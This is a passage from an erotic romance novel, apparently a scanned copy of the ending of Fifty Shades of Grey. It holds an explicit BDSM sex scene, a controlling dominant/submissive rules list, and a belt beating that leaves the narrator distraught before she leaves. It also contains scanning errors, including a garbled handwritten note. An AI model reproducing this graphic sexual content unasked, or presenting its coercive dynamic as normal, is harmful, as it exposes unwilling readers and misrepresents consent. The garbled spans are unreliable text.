sucking and nibbling... moving south... +and then his tongue is there. At, a the junction of my thighs. I throw my head back and cry +out as I almost detonate into orgasm... I’m on the brink, and he stops. + + +No! The bed shifts, and he kneels between my legs. He leans toward the bedpost, and +the cuff on my ankle is suddenly gone. I pull my leg to the middle of the bed... resting it +against him. He leans over to the opposite post and frees my other leg. His hands travel +quickly down both my legs, squeezing and kneading, bringing life back into them. Then, +grasping my hips, he lifts me so that my back is no longer on the bed. I am arched, resting +on my shoulders. What? He’s kneeling up between my legs... and in one swift, slamming +move he’s inside me... oh fuck... and I cry out again. The quiver of my impending orgasm +begins, and he stills. The quiver dies... oh no... he’s going to torture me further. + +“Please!” I wail. + +He grips me harder... in warning? I don’t know, his fingers digging into the flesh of +my behind as I lay panting... so I purposefully still. Very slowly, he starts to move again... +out and then in... agonizingly slowly. Holy fuck - Please! I’m screaming inside... And as +the number of voices in the choral piece increases... so does his pace, infinitesimally, he’s +so controlled... so in time with the music. And I can no longer bear it. + +“Please,” I beg, and in one swift move, he lowers me back onto the bed, and he’s ly- +ing on top of me, his hands on the bed beside my breasts as he supports his weight, and he +thrusts into me, .as A the music reaches its climax, I fall... free fall... into the most intense, +agonizing orgasm I have ever had, and Christian follows me... thrusting hard into me, three +more times... finally stilling, then collapsing on top of me. + +As my consciousness returns from wherever it’s been, Christian pulls out of me. The +music has stopped, and I can feel him stretch across my body as he undoes the cuff on my +right wrist. I groan as my hand is freed. He quickly frees my other hand, gently pulls the +mask from my eyes, and removes the ear buds. I blink in the dim soft light and stare up +into his intense gray gaze. + +“Hi,” he murmurs. + +“Hi, yourself,” I breathe shyly back at him. His lips quirk up into a smile, and he leans +down and kisses me softly. + +“Well done, you,” he whispers. “Turn over.” + +Holy fuck - what’s he going to do now? His eyes soften. + +“I’m just going to rub your shoulders.” + +“Oh... okay.” + +I roll stiffly onto my front. I am so tired. Christian sits astride me and starts to mas- +sage my shoulders. I groan loudly - he has such strong, knowing fingers. Leaning down, +he kisses my head. + +“What was that music?” I mumble almost inarticulately. + +“It’s called Spem In Alium, or the Forty Part Motet, by Thomas Tallis.” + +“It was... overwhelming.” + +“I’ve always wanted to fuck to it.” + +“Not another first, Mr. Grey?” + +“Indeed, Miss Steele.” + +I groan again as his fingers work their magic on my shoulders. + +“Well, it’s the first time I’ve fucked to it, too,” I murmur sleepily. + +“Hmm... you and I, we’re giving each other many firsts.” His voice is matter-of-fact. + +“What did I say to you in my sleep, Ch - err, Sir?” + + +His hands pause their ministrations for a moment. + +“You said lots of things, Anastasia. You talked about cages and strawberries... that you +wanted more... and that you missed me.” + +Oh, thank heavens for that. + +“Is that all?” The relief in my voice is evident. + +Christian stops his heavenly massage and shifts so that he’s lying beside me. His head +propped up on his elbow. He’s frowning. + +“What did you think you’d said?” + +Oh crap. + +“That I thought you were ugly, conceited, and that you were hopeless in bed.” + +He crease on his brow deepens. + +“Well, naturally I am all those things, and now you’ve got me really intrigued. What +are you hiding from me, Miss Steele?” + +I blink at him innocently. + +“I’m not hiding anything.” + +“Anastasia, you are a hopeless liar.” + +“I thought you were going to make me giggle after sex, this isn’t doing it for me.” + +His lips quirk up. + +“I can’t tell jokes.” + +“Mr. Grey! Something you can’t do?” I grin at him, and he grins back. + +“No, hopeless joke teller.” He looks so proud of himself that I start to giggle. + +“I’m a hopeless joke teller too,” + +“That is such a lovely sound,” he murmurs, and he leans forward and kisses me. + +“And you are hiding something, Anastasia. I may have to torture it out of you.” + + +Chapter Twenty-Six + + +I wake with a jolt. I think I’ve just fallen down some stairs in a dream, and I bolt upright, +momentarily disorientated. It is dark, and I’m in Christian’s bed alone. Something has +woken me, some nagging thought. I glance over at the alarm clock on his bedside. It is +5:00 in the morning, but I feel rested. Why is that? Oh - it’s the time difference - it would +be 8:00 a.m. in Georgia. Holy crap... I need to take my pill. I clamber out of bed, grateful +for whatever it is that has woken me. I can hear faint notes from the piano. Christian is +playing. This I must see. I love watching him play. Naked, I grab my bathrobe from the +chair and wander quietly down the corridor, slipping on my robeand listening to the magi- +cal sound of the melodic lament that’s coming from the great room. + +Shrouded in darkness, Christian sits in a bubble of light as he plays, and his hair glints +with burnished copper highlights. He looks naked, though I know he’s wearing his PJ +bottoms. He’s concentrating, playing beautifully, lost in the melancholy of the music. I +hesitate, watching from the shadows, not wanting to interrupt him. I want to hold him. + +He looks lost, sad even, and achingly lonely - or maybe it’s just the music that’s so full of +poignant sorrow. He finishes the piece, pauses for a split second, then starts to play it again. +I move cautiously toward him, drawn as the moth to the flame... the idea makes me smile. +He glances up at me and frowns before his gaze returns to his hands + +Oh crap, is he pissed off that I am disturbing him? + +“You should be asleep,” he scolds mildly. + + +I can tell he’s pre-occupied with something. + +“So should you,” I retort not quite as mildly. + +He glances up again, his lips twitching with a trace of a smile. + +“Are you scolding me, Miss Steele?” + +“Yes, Mr. Grey, I am.” + +“Well, I can’t sleep.” He frowns once more as a trace of irritation or anger flashes +across his face. With me? Surely not. + +I ignore his facial expression and very bravely sit down beside him on the piano stool, +placing my head on his bare shoulder to watch his deft, agile fingers caress the keys. He +pauses fractionally, and then continues to the end of the piece. + +“What was that?” I ask softly. + +“Chopin. Opus 28, number 4. In E minor, if you’re interested,” he murmurs. + +“I’m always interested in what you do.” + +He turns and softly presses his lips against my hair. + +“I didn’t mean to wake you.” + +“You didn’t. Play the other one.” + +“Other one?” + +“The Bach piece that you played the first night I stayed.” + +“Oh, the Marcello.” + +He starts to play slowly and deliberately. I feel the movement of his hands in his shoul- +der as I lean against him and close my eyes. The sad, soulful notes swirl slowly and mourn- +fully around us, echoing off the walls. It is a hauntingly beautiful piece, sadder even than +the Chopin, and I lose myself to the beauty of the lament. To a certain extent, it reflects +how I feel. The deep poignant longing I have to know this extraordinary man better, to try +and understand his sadness. All too soon, the piece is at an end. + +“Why do you only play such sad music?” + +I sit upright and gaze up at him as he shrugs in answer to my question, his expression +wary. + +“So you were just six when you started to play?” I prompt. + +He nods, his wary look intensifying. After a moment he volunteers. + +“I threw myself into learning the piano to please my new mother.” + +“To fit into the perfect family?” + +“Yes, so to speak,” he says evasively. “Why are you awake? Don’t you need to re- +cover from yesterday’s exertions?” + +“It’s 8:00 in the morning for me. And I need to take my pill.” + +He raises his eyebrows in surprise. + +“Well remembered,” he murmurs, and I can tell he’s impressed. His lips quirk up in a +half smile. + +“Only you would start a course of time-specific birth control pills in a different time +zone. Perhaps you should wait half an hour and then another half hour tomorrow morning. +So s eventually you can take them at a reasonable time.” + +“Good plan,” I breathe. “So what shall we do for half an hour?” I blink innocently at + +him. + + +“I can think of a few things,” he grins, gray eyes bright. I gaze back impassively as my +insides clench and melt under his knowing look. + +“On the other hand, we could talk,” I suggest quietly. + +His brow creases. + +“I prefer what I have in mind.” He scoops me onto his lap. + +“You’d always rather have sex than talk,” I laugh, steadying myself by holding on to +his upper arms. + +“True. Especially with you.” He nuzzles my hair and starts a steady trail of kisses from +below my ear to my throat. “Maybe on my piano,” he whispers. + +Oh my. My whole body tightens at the thought. Piano. Wow. + +“I want to get something straight,” I whisper as my pulse starts to accelerate, and my +inner goddess closes her eyes, reveling in the feel of his lips on me. + +He pauses momentarily before continuing his sensual assault. + +“Always so eager for information, Miss Steele. What needs straightening out?” he +breathes against my skin at the base of my neck, continuing his soft gentle kisses. + +“Us,” I whisper as I close my eyes. + +“Hmm. What about us?” He pauses his trail of kisses along my shoulder. + +“The contract.” + +He lifts his head to gaze down at me, a hint of amusement in his eyes, and sighs. He +strokes his fingertips down my cheek. + +“Well, I think the contract is moot, don’t you?” His voice is low and husky, his eyes + +soft. + +“Moot?” + +“Moot.” He smiles. I gape at him quizzically. + +“But you were so keen.” + +“Well, that was before. Anyway, the Rules aren’t moot, they still stand.” His expres- +sion hardens slightly. + +“Before? Before what?” + +“Before,”... He pauses, and the wary expression is back, “more.” He shrugs. + +“Oh.” + +“Besides, we’ve been in the playroom twice now, and you haven’t run screaming for +the hills.” + +“Do you expect me to?” + +“Nothing you do is expected, Anastasia,” he says dryly. + +“So, let me be clear. You just want me to follow the Rules element of the contract all +the time but not the rest of the contract?” + +“Except in the playroom. I want you to follow the spirit of the contract in the play- +room, and yes, I want you to follow the rules - all the time. Then I know you’ll be safe, +and I’ll be able to have you anytime I wish.” + +“And if I break one of the rules?” + +“Then I’ll punish you.” + +“But won’t you need my permission?” + +“Yes, I will.” + +“And if I say no?” + + +He gazes at me for a moment, with a confused expression. + +“If you say no, you’ll say no. I’ll have to find a way to persuade you.” + +I pull away from him and stand. I need some distance. He frowns as I stare down at +him. He looks puzzled and wary again. + +“So the punishment aspect remains.” + +“Yes, but only if you break the rules.” + +“I’ll need to re-read them,” I say, trying to recall the detail. + +“I’ll fetch them for you.” His tone is suddenly businesslike. + +Whoa. This has gotten serious so quickly. He rises from the piano and walks lithely to +his study. My scalp prickles. Jeez, I need some tea. The future of our so-called relation- +ship is being discussed at 5:45 in the morning when he’s pre-occupied with something else +- is this wise? I head into the kitchen which is still shrouded in darkness. Where are the +light switches? I find them, flick them on, and pour water into the kettle. My pill! I rum- +mage in my purse that I left on the breakfast bar and find them quickly. One swallow, and +I’m done. By the time I finish, Christian is back, sitting on one of the bar stools, watching +me intently. + +“Here you go.” He pushes a typed piece of paper toward me, and I notice that he’s +crossed some things out. + + +RULES + +Obedience: + +The Submissive will obey any instructions given by The Dominant immediately without +hesitation or reservation and in an expeditious manner. The Submissive will agree to +any sexual activity deemed fit and pleasurable by the Dominant excepting those activi- +ties which are outlined in hard limits (Appendix A). She will do so eagerly and without +hesitation. + +Sleep: + +The Su bmissive will ensure she achieves a minimum of eight seven hours sleep a night + +when she is not with The Dominant. + +Food: + +The Submissive will eat regularly to maintain her health and wellbeing from a prescribed +li st of foods (Appendix 4). The Submissive will not snack between meals, with the ex- +ception of fruit. + +C l othes: + +Wh il e w i th The Dominant, The Submissive will wear clothing only approved by The +Dominant. The Dominant will provide a clothing budget for The Submissive, which The +Submissive shall utilize. The Dominant shall accompany The Submissive to purchase +clothing on an ad hoc basis. + +Exercise: + +The Dominant shall provide The Submissive with a personal trainer four three times a +week in hour-long sessions at times to be mutually agreed between the personal trainer +and The Submissive. The personal trainer will report to The Dominant on The Submis- + +sive’s progress. + +Personal Hygiene/Beauty: + + +The Submissive will keep herself clean and shaved and/or waxed at all times. The Sub- +missive will visit a beauty salon of The Dominant’s choosing at times to be decided by +The Dominant, and undergo whatever treatments The Dominant sees fit. + +Personal Safety: + +Th e Subm i ss i v e will not drink to excess, smoke, take recreational drugs or put herself in +any unnecessary danger. + +Personal Qualities: + +The Submissive wil l not enter into any sexual relations with anyone other than The +Dominant. The Submissive will conduct herself in a respectful and modest manner at all +times. She must recognize that her behavior is a direct reflection on The Dominant. She +shall be held accountable for any misdeeds, wrongdoings and misbehavior committed +when not in the presence of the Dominant. + +Failure to comply with any of the above will result in immediate punishment, the nature +of which shall be determined by The Dominant. + + +“So the obedience thing still stands?” + +“Oh, yes.” He grins. + +I shake my head amused, and before I realize it, I roll my eyes at him. + +“Did you just roll your eyes at me, Anastasia?” He breathes. + +Oh fuck. + +“Possibly, depends what your reaction is.” + +“Same as always,” he says, shaking his head slightly, his eyes alight with excitement. + +I swallow instinctively and a frisson of exhilaration runs through me. + +“So... ” Holy shit. What am I going to do? + +“Yes?” He licks his lower lip. + +“You want to spank me now.” + +“Yes. And I will.” + +“Oh, really, Mr. Grey?” I challenge, grinning back at him. Two can play this game. + +“Are you going to stop me?” + +“You’re going to have to catch me first.” + +His eyes widen a fraction, and he grins, slowly getting to his feet. + +“Oh, really, Miss Steele?” + +The breakfast bar is between us. I have never been so grateful for its existence than in +this moment. + +“And you’re biting your lip,” he breathes, moving slowly to his left as I move to mine. +“You wouldn’t,” I tease. “After all, you roll your eyes.” I try reasoning with him. He +continues to move toward his left, as do I. + +“Yes, but you’ve just raised the bar on the excitement stakes with this game.” His eyes +blaze, and wild anticipation emanates from him. + +“I’m quite fast you know.” I try for nonchalance. + +“So am I.” + +He’s stalking me, in his own kitchen. + +“Are you going to come quietly?” he asks. + +“Do I ever?” + + +“Miss Steele, what do you mean?” he smirks. “It’ll be worse for you if I have to come +and get you.” + +“That’s only if you catch me, Christian. And right now, I have no intention of letting +you catch me.” + +“Anastasia, you may fall and hurt yourself. Which will put you in direct contravention +of rule number seven.” + +“I have been in danger since I met you, Mr. Grey, rules or no rules.” + +“Yes you have.” He pauses, and his brow furrows slightly. + +Suddenly, he lunges for me, making me squeal and run for the dining room table. I +manage to escape, putting the table between us. My heart is pounding and adrenaline has +spiked through my body... boy... this is so thrilling. I’m a child again, though that’s not +right. I watch him carefully as he paces deliberately toward me. I inch away. + +“You certainly know how to distract a man, Anastasia.” + +“We aim to please, Mr. Grey. Distract you from what?” + +“Life. The universe.” He waves one of his hands vaguely. + +“You did seem very pre-occupied as you were playing.” + +He stops and folds his arms, his expression amused. + +“We can do this all day, baby, but I will get you, and it will just be worse for you when + +I do.” + +“No, you won’t.” I must not be over-confident. I repeat this as a mantra. My subcon- +scious has found her Nikes, and she’s on the starting blocks. + +“Anyone would think you didn’t want me to catch you.” + +“I don’t. That’s the point. I feel about punishment the way you feel about me touching + +you.” + +His entire demeanor changes in a nanosecond. Gone is playful Christian, and he stands +staring at me as if I’d slapped him. He’s ashen. + +“That’s how you feel?” he whispers. + +Those four words, and the way he utters them, speaks volumes. Oh no. They tell me so +much more about him and how he feels. They tell me about his fear and loathing. I frown. + +No, I don’t feel that bad. No way. Do I? + +“No. It doesn’t affect me quite as much as that, but it gives you an idea,” I murmur, +staring anxiously at him. + +“Oh,” he says. + +Crap. He looks completely and utterly lost, like I’ve pulled the rug from under his feet. +Taking a deep breath, I move round the table until I am standing in front of him, gazing +into his apprehensive eyes. + +“You hate it that much?” he breathes, his eyes filled with horror. + +“Well... no,” I reassure him. Jeez - that’s how he feels about people touching him? + +“No. I feel ambivalent about it. I don’t like it, but I don’t hate it.” + +“But last night, in the playroom, you... ” he trails off. + +“I do it for you, Christian, because you need it. I don’t. You didn’t hurt me last night. + +That was in a different context, and I can rationalize that internally, and I trust you. But +when you want to punish me, I worry that you’ll hurt me.” + + +His gray eyes blaze like a turbulent storm. Time moves, and expands and slips away +before he answers softly. + +“I want to hurt you. But not beyond anything that you couldn’t take.” + +Fuck! + +“Why?” + +He runs his hand through his hair, and he shrugs. + +“I just need it.” He pauses, gazing at me with anguish, and he closes his eyes and +shakes his head. “I can’t tell you,” he whispers. + +“Can’t or won’t?” + +“Won’t.” + +“So you know why.” + +“Yes.” + +“But you won’t tell me.” + +“If I do, you will run screaming from this room, and you’ll never want to return.” He +stares at me warily. “I can’t risk that, Anastasia.” + +“You want me to stay.” + +“More than you know. I couldn’t bear to lose you.” + +Oh my. + +He gazes down at me, and suddenly, he pulls me into his arms and he’s kissing me, +kissing me passionately. It takes me completely by surprise, and I sense his panic and +desperate need in his kiss. + +“Don’t leave me. You said you wouldn’t leave me, and you begged me not to leave +you, in your sleep,” he murmurs against my lips. + +Oh... my nocturnal confessions. + +“I don’t want to go.” And my heart clenches, turning itself inside out. + +This is a man in need. His fear is naked and obvious, but he’s lost... somewhere in his +darkness. His eyes wide and bleak and tortured. I can soothe him. Join him briefly in the +darkness and bring him into the light. + +“Show me,” I whisper. + +“Show you?” + +“Show me how much it can hurt.” + +“What?” + +“Punish me. I want to know how bad it can get.” + +Christian steps back away from me, completely confused. + +“You would try?” + +“Yes. I said I would.” But I have an ulterior motive. If I do this for him, maybe he will +let me touch him. + +He blinks at me. + +“Ana, you’re so confusing.” + +“I’m confused too. I’m trying to work this out. And you and I will know, once and +for all, if I can do this. If I can handle this, then maybe you My words fail me, and his +eyes widen again. He knows I am referring to the touch thing. For a moment, he looks +torn, but then a steely resolve settles on his features, and he narrows his eyes, gazing at me +speculatively as if weighing up alternatives. + + +Abruptly, he clasps my arm in a firm grip and turns, leading me out of the great room, +up the stairs, and to the playroom. Pleasure and pain, reward and punishment - his words +from so long ago echo through my mind. + +“I’ll show you how bad it can be, and you can make your own mind up.” He pauses by +the door. “Are you ready for this?” + +I nod, my mind made up, and I’m vaguely lightheaded, faint as all the blood leaves my + +face. + +He opens the door, and still grasping my arm, grabs what looks like a belt from the rack +beside the door, then leads me over to the red leather bench in the far corner of the room. + +“Bend over the bench,” he murmurs softly. + +Okay. I can do this. I bend over the smooth soft leather. He’s left my bathrobe on. + +In a quiet part of my brain, I’m vaguely surprised that he hasn’t made me take it off. Holy +fuck this is going to hurt... I know. My subconscious has passed out, and my inner goddess +is endeavoring to look brave. + +“We’re here because you said yes, Anastasia. And you ran from me. I am going to hit +you six times, and you will count with me.” + +Why the hell doesn’t he just get on with it? He always makes such a meal of punishing +me. I roll my eyes, knowing full well he can’t see me. + +He lifts the hem of my bathrobe, and for some reason, this feels more intimate than +being naked. He gently caresses my behind, running his warm hand all over both cheeks +and down to the tops of my thighs. + +“I am doing this so that you remember not to run from me, and as exciting as it is, I +never want you to run from me,” he whispers. + +And the irony is not lost on me. I was running to avoid this. If he’d opened his arms, + +I’d run to him, not away from him. + +“And you rolled your eyes at me. You know how I feel about that.” Suddenly, it’s gone +- that nervous edgy fear in his voice. He’s back from wherever he’s been. I hear it in his +tone, in the way he places his fingers on my back, holding me - and the atmosphere in the +room changes. + +I close my eyes, bracing myself for the blow. It comes hard, snapping across my back- +side, and the bite of the belt is everything I feared. I cry out involuntarily, and take a huge +gulp of air. + +“Count, Anastasia!” he commands. + +“One!” I shout at him, and it sounds like an expletive. + +He hits me again, and the pain pulses and echoes along the line of the belt. Holy shit... +that smarts. + +“Two!” I scream. It feels so good to scream. + +His breathing is ragged and harsh. Whereas mine is almost non-existent as I desper- +ately scrabble around my psyche looking for some internal strength. The belt cuts into my +flesh again. + +“Three!” Tears spring unwelcome into my eyes. Jeez - this is harder than I thought - +so much harder than the spanking. He’s not holding anything back. + +“Four!” I yell as the belt bites me again, and now the tears are streaming down my face. +I don’t want to cry. It angers me that I am crying. He hits me again. + + +“Five.” My voice is more a choked, strangled sob, and in this moment, I think I hate +him. One more, I can do one more. My backside feels as if it’s on fire. + +“Six,” I whisper as the blistering pain cuts across me again, and I hear him drop the +belt behind me, and he’s pulling me into his arms, all breathless and compassionate... and +I want none of him. + +“Let go... no... ” And I find myself struggling out his grasp, pushing him away. Fight- +ing him. + +“Don’t touch me!” I hiss. I straighten and stare at him, and he’s watching me as if I +might bolt, gray eyes wide, bemused. I dash the tears angrily out of my eyes with the backs +of my hands, glaring at him. + +“This is what you really like? Me, like this?” I use the sleeve of the bathrobe to wipe +my nose. + +Fie gazes at me warily. + +“Well, you are one fucked-up son of a bitch.” + +“Ana,” he pleads, shocked. + +“Don’t you dare, Ana me! You need to sort your shit out, Grey!” And with that, I turn +stiffly, and I walk out of the playroom, closing the door quietly behind me. + +I clasp the door handle behind me and briefly lean back against the door. Where to go? +Do I run? Do I stay? I am so mad, angry scalding tears spill down my cheeks, and I brush +them furiously aside. I just want to curl up. Curl up and recuperate in some way. FHeal my +shattered faith. Flow could I have been so stupid? Of course it hurts. + +Tentatively, I rub my backside. Aah! It’s sore. Where to go? Not his room. My room, +or the room that will be mine, no, is mine. . . was mine. This is why he wanted me to keep +it. He knew I would need distance from him. + +I launch myself stiffly in that direction, conscious that Christian may follow me. It is +still dark in the bedroom, dawn only a whisper in the skyline. I climb awkwardly into bed, +careful not to sit on my aching and tender backside. I keep the bathrobe on, wrapping it +around me, and curl up and really let go - sobbing hard into my pillow. + +What was I thinking? Why did I let him do that to me? I wanted the dark, to explore +how bad it could be - but it’s too dark for me. I cannot do this. Yet, this is what he does, +this is how he gets his kicks. + +What a monumental wake-up call. And to be fair to him, he warned me and warned +me, time and again. He’s not normal. He has needs that I cannot fulfill. I realize that now. + +I don’t want him to hit me like that again, ever. I think of the couple of times he has hit +me, and how easy he was on me by comparison. Is that enough for him? I sob harder into +the pillow. I am going to lose him. He won’t want to be with me if I can’t give him this. + +Why, why, why have I fallen in love with Fifty Shades? Why? Why can’t I love Jose, or +Paul Clayton, or someone like me? + +Oh, his distraught look as I left. I was so cruel, so shocked by the savagery... will he +forgive me... will I forgive him? My thoughts are all haywire and jumbled, echoing and +bouncing off the inside of my skull. My subconscious is shaking her head sadly, and my +inner goddess is nowhere to be seen. Oh, this is a dark morning of the soul for me. I’m so +alone. I want my Mom. I remember her parting words at the airport, + + +Follow your heart, darling, and please, please - try not to over-think things. Relax and +enjoy. You are so young, sweetheart, you have so much to experience, just let it happen. +You deserve the best of everything. + + +I did follow my heart, and I have a sore ass and an anguished, broken spirit to show +for it. I have to go. That’s it... I have to leave. He’s no good for me, and I am no good +for him. How can we possibly make this work? And the thought of not seeing him again +practically chokes me... my Fifty Shades. + +I hear the door click open. Oh no - he’s here. He puts something down on the bedside +table, and the bed shifts under his weight as he climbs in behind me. + +“Hush,” he breathes, and I want to pull away from him, move to the other side of the +bed, but I’m paralyzed. I cannot move and lie stiffly, not yielding at all. “Don’t fight me, + +Ana, please,” he whispers. Gently, he pulls me into his arms, burying his nose in my hair, +kissing my neck. + +“Don’t hate me,” he breathes softly against my skin, his voice achingly sad. My heart +clenches anew and releases a fresh wave of silent sobbing. He continues to kiss me softly, +tenderly, but I remain aloof and wary. + +We lie together like this, neither saying anything for ages. He just holds me, and very +gradually, I relax and stop crying. Dawn comes and goes, and the soft light gets brighter as +morning moves on, and still we lie quietly. + +“I bought you some Advil and some arnica cream,” he says after a long while. + +I turn very slowly in his arms so I can face him. I am resting my head on his arm. His +eyes are flinty gray and guarded. + +I gaze at his beautiful face. He’s giving nothing away, but he keeps his eyes on mine, +hardly blinking. Oh, he is so breathtakingly good-looking. In such a short time, he’s +become so, so dear to me. Reaching up, I caress his cheek and run the tips of my fingers +through his stubble. He closes his eyes and exhales slightly. + +“I’m sorry,” I whisper. + +He opens his eyes and looks at me puzzled. + +“What for?” + +“What I said.” + +“You didn’t tell me anything I didn’t know.” And his eyes soften with relief. “I am +sorry I hurt you.” + +I shrug. + +“I asked for it.” And now I know. I swallow. Here goes. I need to say my piece. “I +don’t think I can be everything you want me to be,” I whisper. His eyes widen slightly, and +he blinks, his fearful expression returning. + +“You are everything I want you to be.” + +What? + +“I don’t understand. I’m not obedient, and you can be as sure as hell I’m not going to +let you do that to me again. And that’s what you need, you said so.” + +He closes his eyes again, and I can see a myriad of emotions cross his face. When he +reopens them, his expression is bleak. Oh no. + +“You’re right. I should let you go. I am no good for you.” + + +My scalp prickles as every single hair follicle on my body stands to attention, and the +world falls away from me, leaving a wide, yawning abyss for me to fall into. Oh no. + +“I don’t want to go,” I whisper. Fuck - this is it. Pay or play. Tears swim in my eyes +once more. + +“I don’t want you to go either,” he whispers, his voice raw. He reaches up and gently +strokes my cheek and wipes away a falling tear with his thumb. “I’ve come alive since I +met you.” His thumb traces the contours of my lower lip. + +“Me too,” I whisper, “I’ve fallen in love with you, Christian.” + +His eyes widen again, but this time, with pure, undiluted fear. + +“No,” he breathes as if I’ve knocked the wind out of him. + +Oh no. + +“You can’t love me, Ana. No... that’s wrong.” He’s horrified. + +“Wrong? Why’s it wrong?” + +“Well, look at you. I can’t make you happy.” His voice is anguished. + +“But you do make me happy.” I frown. + +“Not at the moment, not doing what I want to do.” + +Holy fuck. This really is it. This is what it boils down to - incompatibility - and all +those poor subs come to mind. + +“We’ll never get past that, will we?” I whisper, my scalp prickling in fear. + +He shakes his head bleakly. I close my eyes. I cannot bear to look at him. + +“Well... I’d better go, then,” I murmur, wincing as I sit up. + +“No, don’t go.” He sounds panicked. + +“There’s no point in me staying.” Suddenly, I feel tired, really dog-tired, and I want to +go now. I climb out of bed, and Christian follows. + +“I’m going to get dressed. I’d like some privacy,” I say, my voice flat and empty as I +leave him standing in the bedroom. + +Heading downstairs, I glance at the great room, thinking how only hours before I had +rested my head on his shoulder as he played the piano. So much has happened since then. +I have had my eyes opened and glimpsed the extent of his depravity, and I now know he’s +not capable of love - of giving or receiving love. My worst fears have been realized. And +strangely, it’s very liberating. + +The pain is such that I refuse to acknowledge it. I feel numb. I have somehow escaped +from my body and am now a casual observer to this unfolding tragedy. I shower quickly +and methodically, thinking only of each second in front of me. Now squeeze body wash +bottle. Put body wash bottle back in rack. Rub cloth on face, on shoulders... on and on, all +simple, mechanical actions, requiring simple mechanical thoughts. + +I finish my shower - and as I haven’t washed my hair, I can dry myself quickly. I dress +in the bathroom, taking my jeans and t-shirt out of my small suitcase. My jeans chafe +against my backside, but quite frankly, it’s a pain I welcome as it distracts my mind from +what’s happening to my splintering, shattered heart. + +I stoop to shut my suitcase, and the bag holding Christian’s gift catches my eye, a +modeling kit for a Blahnik L23 glider, something for him to build. Tears threaten. Oh no... +happier times, when there was hope of more. I take it out of the case, knowing that I need + + +to give it to him. Quickly, I rip a small piece of paper from my notebook, hastily scribble +a note for him, and leave it on top of the box. + + +tViLs rfiM'U-t'vdtfpl vv^t of o t happy tlm-c. + +ThaiA,k> you.. + +Ai ■'U* + + +I gaze at myself in the mirror. A pale and haunted ghost stares back at me. I scoop my +hair into a ponytail and ignore how swollen my eyelids are from the crying. My subcon- +scious nods with approval. Even she knows not to be snarky right now. I cannot believe +that my world is crumbling around me into a sterile pile of ashes, all my hopes and dreams +cruelly dashed. No, no don’t think about it. Not now, not yet. Taking a deep breath, I pick +up my case, and after placing the glider kit and my note on his pillow, I head for the great +room. + +Christian is on the phone. He’s dressed in black jeans and t-shirt. His feet are bare. + +“He said what!” he shouts, making me jump. “Well, he could have told us the fucking +truth. What’s his number, I need to call him... Welch, this is a real fuck-up.” He glances +up and doesn’t take his dark and brooding eyes off me. “Find her,” he snaps and presses +the off switch. + +I walk over to the couch and collect my backpack, doing my best to ignore him. I take +the Mac out of it and walk back toward the kitchen, placing it carefully on the breakfast +bar, along with the BlackBerry and the car key. When I turn to face him, he’s staring at me, +stupefied with horror. + +“I need the money that Taylor got for my Beetle.” My voice is clear and calm, devoid +of emotion... extraordinary. + +“Ana, I don’t want those things, they’re yours,” he says in disbelief. “Please, take +them.” + +“No Christian - I only accepted them under sufferance - and I don’t want them any- +more.” + +“Ana, be reasonable,” he scolds me, even now. + +“I don’t want anything that will remind me of you. I just need the money that Taylor +got for my car.” My voice is quite monotone. + +He gasps. + +“Are you really trying to wound me?” + +“No.” I frown staring at him. Of course not... I love you. “I’m not. I’m trying to +protect myself,” I whisper. Because you don’t want me the way I want you. + +“Please, Ana, take that stuff.” + +“Christian, I don’t want to fight - I just need the money.” + + +He narrows his eyes, but I’m no longer intimidated by him. Well, only a little. I gaze +impassively back, not blinking or backing down. + +“Will you take a check?” he says acidly. + +“Yes. I think you’re good for it.” + +He doesn’t smile, he just turns on his heel and stalks into his study. I take a last linger- +ing look around his apartment - at the art on the walls - all abstracts, serene, cool. . . cold, +even. Fitting, I think absently. My eyes stray to the piano. Jeez - if I’d kept my mouth +shut, we’d have made love on the piano. No, fucked, we would have fucked on the piano. +Well, I would have made love. The thought lies heavy and sad in my mind. He has never +made love to me, has he? It’s always been fucking to him. + +Christian returns and hands me an envelope. + +“Taylor got a good price. It’s a classic car. You can ask him. He’ll take you home.” + +He nods in the direction over my shoulder. I turn, and Taylor is standing in the doorway, +wearing his suit, as impeccable as ever. + +“That’s fine, I can get myself home, thank you.” + +I turn to stare at Christian, and I see the barely-contained fury in his eyes. + +“Are you going to defy me at every turn?” + +“Why change a habit of a lifetime?” I give him a small, apologetic shrug. + +He closes his eyes in frustration and runs his hand through his hair. + +“Please, Ana, let Taylor take you home.” + +“I’ll get the car, Miss Steele,” Taylor announces authoritatively. Christian nods at him, +and when I glance around, Taylor has gone. + +I turn back to face Christian. We are four feet apart. He steps forward, and instinc- +tively I step back. He stops, and the anguish in his expression is palpable, his gray eyes +burning. + +“I don’t want you to go,” he murmurs, his voice full of longing. + +“I can’t stay. I know what I want and you can’t give it to me, and I can’t give you what +you need.” + +He takes another step forward, and I hold up my hands. + +“Don’t, please.” I recoil from him. There’s no way I can tolerate his touch now, it will +slay me. “I can’t do this.” + +Grabbing my suitcase and my backpack, I head for the foyer. He follows me, keeping +a careful distance. He presses the elevator button, and the doors open. I climb in. + +“Goodbye, Christian,” I murmur. + +“Ana, goodbye,” he says softly, and he looks utterly, utterly broken, a man in agonizing +pain, reflecting how I feel inside. I tear my gaze away from him before I change my mind +and try to comfort him. + +The elevator doors close, and it whisks me down to the bowels of the basement and to +my own personal hell. + + +Taylor holds the door open for me, and I climb into the back of the car. I avoid eye contact. +Embarrassment and shame washes over me. I’m a complete failure. I had hoped to drag + + +my Fifty Shades into the light, but it’s proved a task beyond my meager abilities. Des- +perately, I try to keep my emotions banked and at bay. As we head out onto 4th Avenue, I +stare blankly out of the window, and the enormity of what I’ve done slowly washes over +me. Shit - I’ve left him. The only man I’ve ever loved. The only man I’ve ever slept with. + +I gasp, and the levees burst. Tears course unbidden and unwelcome down my cheeks, and +I wipe them away hurriedly with my fingers, scrambling in my bag for my sunglasses. As +we pause at some traffic lights, Taylor holds out a linen handkerchief for me. He says noth- +ing and doesn’t look in my direction, and I take it with gratitude. + +“Thank you,” I mutter, and this small discreet act of kindness is my undoing. I sit back +in the luxurious leather seats and weep. + + +The apartment is achingly empty and unfamiliar. I have not lived here long enough for it +to feel like home. I head straight to my room, and there, hanging limply at the end of my +bed, is a very sad, deflated helicopter balloon. Charlie Tango, looking and feeling exactly +like me. I grab it angrily off my bedrail, snapping the tie, and hug it to me. Oh - what +have I done? + +I fall onto my bed, shoes and all, and howl. The pain is indescribable... physical, +mental... metaphysical... it is everywhere, seeping into the marrow of my bones. Grief. +This is grief - and I’ve brought it on myself. Deep down, a nasty, unbidden thought comes +from my inner goddess, her lip curled in a snarl... the physical pain from the bite of a belt +is nothing, nothing compared to this devastation. I curl up, desperately clutching the flat +foil balloon and Taylor’s handkerchief, 